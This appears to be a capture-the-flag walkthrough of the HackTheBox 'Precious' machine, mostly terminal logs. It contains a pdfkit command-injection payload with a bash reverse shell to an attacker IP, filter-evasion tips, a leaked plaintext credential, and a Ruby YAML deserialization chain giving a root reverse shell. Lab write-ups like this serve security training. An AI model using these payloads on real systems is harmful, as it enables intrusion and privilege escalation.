1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
| ares@legion:~/HackTheBox$ sudo nmap -sV -A -T4 $target
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-07 21:54 EET
Stats: 0:00:07 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 50.00% done; ETC: 21:54 (0:00:06 remaining)
Nmap scan report for 10.10.11.189 (10.10.11.189)
Host is up (0.039s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 84:5e:13:a8:e3:1e:20:66:1d:23:55:50:f6:30:47:d2 (RSA)
| 256 a2:ef:7b:96:65:ce:41:61:c4:67:ee:4e:96:c7:c8:92 (ECDSA)
|_ 256 33:05:3d:cd:7a:b7:98:45:82:39:e7:ae:3c:91:a6:58 (ED25519)
80/tcp open http nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to http://precious.htb/
Device type: general purpose|router
Running: Linux 5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 5.0 - 5.14, MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 38.31 ms 10.10.14.1 (10.10.14.1)
2 38.86 ms 10.10.11.189 (10.10.11.189)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.32 seconds
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
| ares@legion:~/Downloads$ exiftool 6cxkt83efbxkhk7n3fg11vrg2cg79lrn.pdf
ExifTool Version Number : 13.25
File Name : 6cxkt83efbxkhk7n3fg11vrg2cg79lrn.pdf
Directory : .
File Size : 10 kB
File Modification Date/Time : 2025:11:07 22:33:42+02:00
File Access Date/Time : 2025:11:07 22:33:45+02:00
File Inode Change Date/Time : 2025:11:07 22:33:44+02:00
File Permissions : -rw-rw-r--
File Type : PDF
File Type Extension : pdf
MIME Type : application/pdf
PDF Version : 1.4
Linearized : No
Page Count : 1
Creator : Generated by pdfkit v0.8.6
|
1
2
3
4
5
6
7
8
9
10
| ares@legion:~/gits$ nc -nvlp 8000
listening on [any] 8000 ...
connect to [10.10.14.30] from (UNKNOWN) [10.10.11.189] 38648
GET /test HTTP/1.1
Host: 10.10.14.30:8000
User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/602.1 (KHTML, like Gecko) wkhtmltopdf Version/10.0 Safari/602.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Connection: Keep-Alive
Accept-Encoding: gzip, deflate
Accept-Language: en-US,*
|
Vulnerable to: https://github.com/shamo0/PDFkit-CMD-Injection https://github.com/lowercasenumbers/CVE-2022-25765
Payload: http://10.10.14.24/%3fq%3d%2520bash -c 'bash -i >& /dev/tcp/10.10.14.24/4444 0>&1' Full decoded URL: http://10.10.14.24/?q= [space] + your reverse shell command URL encode in burp > Forward or Use payload as is in precious.htb Alternative Approaches:
- Try
%09 (tab) instead of space - Use
${IFS} instead of spaces - Chain with
; or | if spaces are filtered
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
| ruby@precious:/var/www/pdfapp/pdf$ cd ~
ruby@precious:~$ ls
ruby@precious:~$ ls -la
total 28
drwxr-xr-x 4 ruby ruby 4096 Nov 7 17:05 .
drwxr-xr-x 4 root root 4096 Oct 26 2022 ..
lrwxrwxrwx 1 root root 9 Oct 26 2022 .bash_history -> /dev/null
-rw-r--r-- 1 ruby ruby 220 Mar 27 2022 .bash_logout
-rw-r--r-- 1 ruby ruby 3526 Mar 27 2022 .bashrc
dr-xr-xr-x 2 root ruby 4096 Oct 26 2022 .bundle
drwxr-xr-x 3 ruby ruby 4096 Nov 7 17:05 .cache
-rw-r--r-- 1 ruby ruby 807 Mar 27 2022 .profile
ruby@precious:~$ cd .bundle/
ruby@precious:~/.bundle$ ls
config
ruby@precious:~/.bundle$ cat config
---
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:Q3c1AqGHtoI0aXAYFH"
ruby@precious:~/.bundle$
|
Privesc: https://swisskyrepo.github.io/PayloadsAllTheThings/Insecure%20Deserialization/Ruby/#yaml-deserialization
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
| henry@precious:~$ sudo -l
Matching Defaults entries for henry on precious:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User henry may run the following commands on precious:
(root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb
henry@precious:/dev/shm$ cp /opt/sample/dependencies.yml .
// nano dependencies.yml
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: bash -c 'bash -i >& /dev/tcp/10.10.14.24/4444 0>&1'
method_id: :resolve
nc -nvlp 4444
|